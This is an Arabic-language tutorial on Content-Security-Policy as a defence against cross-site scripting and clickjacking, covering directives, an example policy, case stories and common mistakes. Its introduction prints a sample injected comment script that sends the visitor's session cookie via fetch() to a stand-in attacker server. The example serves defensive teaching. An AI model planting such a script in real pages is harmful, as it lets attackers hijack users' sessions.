في جملة واحدة
سياسة أمن المحتوى (Content-Security-Policy أو CSP) هي معيار أمني، يتم إرساله عبر ترويسة HTTP (HTTP header)، يخبر المتصفح بمصادر المحتوى الموثوقة (مثل السكريبتات والصور والملفات التنسيقية) التي يجب السماح بتحميلها، وبذلك تعمل كـ "حارس أمني" يمنع الحقن الخبيث.
المشكلة التي تحلها
في الأيام الأولى للويب، التي كانت تشبه الغرب المتوحش، كان الأمان شيئًا ثانويًا. أحد أشرس الأشرار الذين ظهروا كان "البرمجة عبر المواقع" أو Cross-Site Scripting (XSS). باختصار، XSS هو هجوم يتمكن فيه شخص سيء النية من حقن كوده الخبيث (عادةً JavaScript) في موقع ويب تثق به.
تخيل مدونة بها قسم للتعليقات. أنت، كمطور، بنيت الموقع بعناية. لكنك أغفلت ثغرة صغيرة في كيفية عرض التعليقات. يأتي مهاجم، وبدلاً من كتابة "مقال رائع!"، يرسل تعليقًا مثل هذا:
<script>
// سرقة كوكي الجلسة للمستخدم الذي سجل دخوله
fetch('https://attackers-evil-server.com/steal?cookie=' + document.cookie);
</script>
الآن، كل مستخدم آخر يشاهد هذا المقال في المدونة سيقوم متصفحه بتنفيذ هذا السكريبت. وبما أن السكريبت يعمل على نطاق (domain) مدونتك، فإنه يمتلك صلاحية الوصول إلى كل ما يمكن لسكريبت شرعي الوصول إليه، مثل كوكي جلسة المستخدم. يمكن للمهاجم الآن اختطاف جلستهم وانتحال شخصيتهم. يا للهول.
لسنوات، كان الدفاع الوحيد هو "تنقية" كل جزء من مدخلات المستخدم بدقة. هذا يسمى "التحقق من صحة المدخلات وترميز المخرجات" (input validation and output encoding)، وما زال مهمًا للغاية. ولكنه أيضًا صعب جدًا لتحقيقه بنسبة 100%، طوال الوقت. خطأ صغير واحد، وأنت معرض للاختراق.
وُلدت CSP من الحاجة إلى "الدفاع في العمق". الفكرة بسيطة: ماذا لو كان بإمكان الخادم أن يخبر المتصفح، "يا صديقي، أعرف أنه من المفترض أن أكون مثاليًا، ولكن تحسبًا لو أني أخطأت وسمحت بمرور سكريبت خبيث، أريدك أن تفرض بعض القواعد نيابة عني. لا تشغل إلا السكريبتات التي تأتي من نطاقي الخاص my-app.com، ومن Google Analytics. إذا رأيت أي سكريبت من أي مصدر آخر، قم بحظره وأخبرني بذلك."
هذه هي CSP. إنها خط دفاع ثانٍ يعمل مباشرة في متصفح المستخدم، محوّلاً إياه من ضحية سلبية إلى وكيل أمني نشط.
كيف تعمل من وراء الكواليس
الـ CSP ليست سحرًا؛ إنها مجرد سلسلة نصية يتم تسليمها في ترويسة استجابة HTTP. الترويستان الرئيسيتان هما:
Content-Security-Policy: تفرض السياسة. إذا انتهك مورد ما السياسة، يتم حظره.Content-Security-Policy-Report-Only: وضع "التشغيل التجريبي". يقوم بالإبلاغ عن الانتهاكات ولكنه لا يحظر أي شيء فعليًا، وهو نعمة من السماء لاختبار ونشر سياسة جديدة دون تعطيل موقعك.
قيمة الترويسة هي سلسلة من التوجيهات (directives)، ينتهي كل منها بفاصلة منقوطة. يتكون التوجيه من اسم وقائمة بالمصادر المسموح بها.
التوجيهات الشائعة
فكر في التوجيهات كفئات من المحتوى تريد التحكم فيها.
| التوجيه | يتحكم في... | ما يغطيه |
|---|---|---|
default-src |
الاحتياطي | قائمة المصادر الافتراضية لمعظم توجيهات -src الأخرى إذا لم يتم تحديدها. حدد هذا أولاً! |
script-src |
السكريبتات | مصادر JavaScript، بما في ذلك وسوم script، والمعالجات المضمنة (onclick)، والمزيد. هذا هو التوجيه الأهم لمواجهة XSS. |
style-src |
ملفات التنسيق | ملفات CSS، وسوم style، وخصائص style المضمنة. |
img-src |
الصور | وسوم <img>، أيقونات الموقع (favicons)، إلخ. |
connect-src |
الاتصالات | عناوين URL لـ fetch()، XMLHttpRequest، WebSocket، إلخ. ما الذي يمكن لواجهتك الأمامية التحدث معه؟ |
font-src |
الخطوط | خطوط الويب المحملة عبر @font-face. |
frame-src |
الإطارات | مصادر عناصر <iframe> و <frame>. |
report-uri |
الإبلاغ | (مهمل ولكن شائع) عنوان URL يرسل إليه المتصفح تقارير JSON بانتهاكات السياسة. |
report-to |
الإبلاغ | البديل الحديث لـ report-uri، باستخدام Reporting API. |
قيم المصادر الشائعة
لكل توجيه، تحدد من أين يُسمح للمحتوى بالقدوم.
| المصدر | المعنى | مثال |
|---|---|---|
'self' |
نفس المصدر | يسمح بالمحتوى من نفس النطاق والمخطط (scheme) والمنفذ الخاص بالمستند. |
'none' |
لا شيء | يحظر كل المحتوى لهذا التوجيه. object-src 'none' فكرة جيدة جدًا. |
example.com |
مضيف محدد | يسمح بالمحتوى من example.com. |
*.example.com |
مضيف مع حرف بدل (wildcard) | يسمح بالمحتوى من أي نطاق فرعي لـ example.com. استخدمه بحذر! |
https: |
مخطط (scheme) | يسمح بالمحتوى من أي مصدر عبر HTTPS. |
'unsafe-inline' |
الكود المضمن (inline) | يسمح بوسوم <script> و <style> المضمنة، وخصائص style أو onclick. تجنبه إن أمكن! |
'unsafe-eval' |
الكود الديناميكي | يسمح بدوال تقييم السلاسل النصية مثل eval(). خطر أمني كبير. |
'nonce-...' |
قيمة عشوائية مشفرة (nonce) | يسمح بسكريبت مضمن إذا تطابقت خاصية nonce الخاصة به مع تلك الموجودة في الترويسة. رائع للاستخدام الآمن لسكريبتات مضمنة معينة. |
'sha256-...' |
هاش (hash) | يسمح بسكريبت أو نمط مضمن إذا تطابق هاش SHA256 الخاص به مع ذلك الموجود في الترويسة. |
لنجمع كل شيء معًا
دعنا نلقي نظرة على سياسة واقعية لتطبيق ويب حديث:
Content-Security-Policy:
default-src 'self';
script-src 'self' https://cdn.my-analytics.com 'nonce-EDNnf03nceIOfn39fn3e9h3sdfa';
style-src 'self' 'unsafe-inline';
img-src 'self' data: https://images.my-app.com;
connect-src 'self' https://api.my-app.com;
font-src 'none';
object-src 'none';
frame-ancestors 'none';
report-to csp-endpoint;
دعنا نحلل هذا:
default-src 'self': بشكل افتراضي، اسمح فقط بالموارد من مصدرنا الخاص.script-src ...: نسمح بالسكريبتات من مصدرنا الخاص، ومن مزود التحليلات لدينا، وأي سكريبت مضمن يحتوي على قيمةnonceالمحددة. سيقوم الخادم بإنشاءnonceعشوائي جديد لكل تحميل صفحة.style-src 'self' 'unsafe-inline': نسمح بملفات التنسيق من مصدرنا. القيمة'unsafe-inline'تشير إلى أنه قد يكون لدينا بعض الكود القديم الذي يضيف خصائصstyle، وهو وضع شائع (وإن لم يكن مثاليًا).img-src ...: يمكن أن تأتي الصور من مصدرنا، كـdata:URIs، أو من شبكة توصيل المحتوى (CDN) المخصصة للصور.connect-src ...: يُسمح لـ JavaScript في الواجهة الأمامية فقط بإجراء استدعاءات API إلى مصدرنا الخاص وapi.my-app.com.font-src 'none',object-src 'none': لا نستخدم خطوطًا مخصصة أو إضافات مثل Flash، لذلك نحظرها تمامًا.frame-ancestors 'none': هذا يمنع المواقع الأخرى من وضع موقعنا في<iframe>، مما يوقف هجمات "clickjacking".report-to csp-endpoint: أرسل تقارير الانتهاكات إلى نقطة النهاية المسماةcsp-endpoint(التي يتم تكوينها في مكان آخر).
قصص من الواقع
سارق بيانات بطاقات الائتمان في متجر إلكتروني
أضاف متجر إلكتروني متوسط الحجم أداة محادثة (chat widget) من طرف ثالث إلى موقعه لمساعدة خدمة العملاء. أضافوا نطاق الأداة إلى توجيه script-src الخاص بهم واعتقدوا أنهم في أمان. ما لم يعرفوه هو أن شركة أداة المحادثة نفسها تعرضت للاختراق، وقام مهاجم بتعديل ملف سكريبت الأداة. الإصدار الجديد الخبيث كان يسرق أرقام بطاقات الائتمان من صفحة الدفع. نظرًا لأن سياسة CSP للمتجر كانت تثق في نطاق المصدر، تم تحميل السكريبت الخبيث وتنفيذه دون مشاكل لأسابيع.
الدرس المستفاد: سياسة CSP الخاصة بك هي سلسلة من الثقة. عندما تسمح بنطاق طرف ثالث، فأنت لا تثق فقط في تلك الشركة؛ بل تثق في أمانها، وفي عملية النشر الخاصة بها، وفي جميع تبعياتها. تقنية "سلامة الموارد الفرعية" (Subresource Integrity أو SRI) هي أداة أخرى يمكن أن تساعد في التخفيف من هذا الخطر المحدد.
الإطلاق البطيء
أرادت مؤسسة إعلامية كبيرة تطبيق سياسة CSP صارمة على موقعها الإخباري عالي الزيارات. كانوا يعلمون أن نشرها دفعة واحدة يمكن أن يعطل الإعلانات ومقاطع الفيديو وميزات أخرى لا حصر لها. بدلاً من تفعيلها مباشرة، قاموا بنشر سياسة في وضع Content-Security-Policy-Report-Only. لمدة أسبوعين، كانوا يجمعون البيانات فقط. غمرت نقطة النهاية report-uri الخاصة بهم بآلاف التقارير في الساعة. قاموا بتوجيه هذه التقارير إلى قاعدة بيانات وبنوا لوحة تحكم تعرض الموارد الأكثر حظرًا والصفحات التي تم حظرها عليها. اكتشفوا العشرات من سكريبتات التتبع القديمة المنسية، ونطاقات شبكات الإعلانات، وتبعيات مشغلات الفيديو. بشكل منهجي، قاموا إما بإزالة الموارد القديمة أو إضافة الموارد الشرعية إلى القائمة البيضاء لسياستهم. بعد شهر من التحسين، قاموا بتفعيل وضع الفرض. لم يتعطل أي شيء.
الدرس المستفاد: لا تطر أعمى. استخدم وضع Report-Only كمساعد طيار لك. يتيح لك بناء سياسة مثالية وواقعية بناءً على حركة مرور المستخدمين الفعلية، محولاً مهمة أمنية مرعبة إلى مشكلة تحليل بيانات يمكن إدارتها.
خطر إضافات المتصفح
استخدم موظف في شركة مالية إضافة متصفح شهيرة "تجمل" صفحات الويب عن طريق حقن ملفات CSS و JavaScript الخاصة بها. في معظم المواقع، كان هذا غير ضار. ولكن عندما سجل الدخول إلى بوابة التمويل الداخلية للشركة، رفض الموقع العمل بشكل صحيح. في حيرة من أمره، اتصل بقسم تكنولوجيا المعلومات. نظر مطور إلى وحدة تحكم المتصفح ورأى سلسلة من أخطاء انتهاك CSP: كانت البوابة تحظر حقن سكريبتات وأنماط الإضافة. سياسة CSP الصارمة للبوابة، التي سمحت فقط بالسكريبتات والأنماط من 'self'، قد حددت كود الإضافة بشكل صحيح كمصدر أجنبي غير موثوق به وحظرته. لقد منعت تسرب بيانات محتمل من إضافة ذات نوايا حسنة ولكنها متطفلة.
الدرس المستفاد: سياسة CSP قوية تحمي المستخدمين ليس فقط من أخطائك المحتملة، ولكن أيضًا من التهديدات داخل بيئة المتصفح الخاصة بهم، مثل الإضافات الخبيثة أو ذات الصلاحيات المفرطة.
أخطاء وفخاخ شائعة
- الاعتماد على
'unsafe-inline'. هذا هو الفخ الأكثر شيوعًا. يواجه المطورون مشاكل مع معالجات أحداثonclickالقديمة أو وسوم<script>المضمنة ويلجأون إلى'unsafe-inline'كحل سريع. هذا يعيد فتح ثغرة كبيرة لهجمات XSS. المسار الأفضل هو إعادة هيكلة الكود لاستخدامaddEventListenerأو، إذا كان لا بد من وجود سكريبت مضمن، استخدامnonceأوhashلإضافته إلى القائمة البيضاء على وجه التحديد. - نسيان
default-src. إذا قمت فقط بتعيينscript-srcوstyle-src، فإنك تترك نواقل هجوم أخرى مفتوحة. ماذا عن وسوم<object>؟ أو الـ workers؟ ابدأ دائمًا بـdefault-src 'self'أوdefault-src 'none'المقيد وافتح فقط ما تحتاجه لكل توجيه على حدة. - إعداد الإبلاغ ولكن عدم النظر إليه أبدًا.
report-uriالذي يشير إلى طريق مسدود لا فائدة منه. تقارير الانتهاكات هي نظام الإنذار المبكر الخاص بك. يمكنها تنبيهك إلى هجوم XSS جديد، أو إخبارك بأن تحديثًا أخيرًا قد عطل ميزة شرعية لمجموعة فرعية من المستخدمين. يجب أن يكون لديك عملية لاستيعاب وتجميع ومراجعة هذه التقارير. - استخدام حروف البدل (wildcards) بشكل متساهل للغاية. من المغري استخدام
script-src https://*.some-cdn.com، ولكن هذا قد يسمح لمهاجم بتحميل سكريبت منhttps://malicious-user-account.some-cdn.com. كن محددًا قدر الإمكان مع أسماء المضيفين. - تجاهل
frame-ancestors. يحظى XSS بكل الاهتمام، لكن "clickjacking" هو تهديد حقيقي آخر. يمكن لمهاجم تحميل موقعك في<iframe>شفاف فوق موقعه الخبيث وخداع المستخدمين للنقر على أزرار في موقعك.frame-ancestors 'none'أوframe-ancestors 'self'هو دفاع بسيط وقوي غالبًا ما يُنسى.
لماذا يجب أن تضعه في اعتبارك
يجب أن تفكر في CSP إذا كنت...
- تبني أي تطبيق ويب يتعامل مع تسجيل دخول المستخدمين أو البيانات الشخصية أو معلومات الدفع.
- تعرض أي محتوى مقدم من قبل المستخدمين (تعليقات، ملفات شخصية، منشورات منتدى).
- تدمج العديد من السكريبتات من أطراف ثالثة مثل التحليلات أو الإعلانات أو أدوات الدعم أو مديري الوسوم.
- تريد وضعًا أمنيًا قويًا وحديثًا يعتمد على "الدفاع في العمق" لأي مشروع ويب غير تافه.
باختصار، إذا كنت مطور ويب في القرن الحادي والعشرين، فيجب أن تكون CSP جزءًا أساسيًا من مجموعة أدواتك. لم تعد ميزة غريبة للمصابين بجنون الارتياب؛ إنها قطعة أساسية من أمان الواجهة الأمامية.
للتعمق أكثر
- MDN Web Docs: Content Security Policy (CSP) - الدليل المرجعي النهائي والعملي.
- W3C Content Security Policy Level 3 - المواصفة الرسمية. إنها كثيفة، لكنها مصدر الحقيقة.
- Google's Web Fundamentals on CSP - مقدمة ممتازة عالية المستوى مع نصائح عملية.
- report-uri.com - خدمة لجمع تقارير CSP، يديرها خبير الأمن سكوت هيلم، الذي تعتبر مدونته أيضًا مصدرًا رائعًا حول هذا الموضوع.
- OWASP Cheat Sheet: Content Security Policy - أفضل الممارسات التي تركز على الأمن من مشروع أمان تطبيقات الويب المفتوحة (OWASP).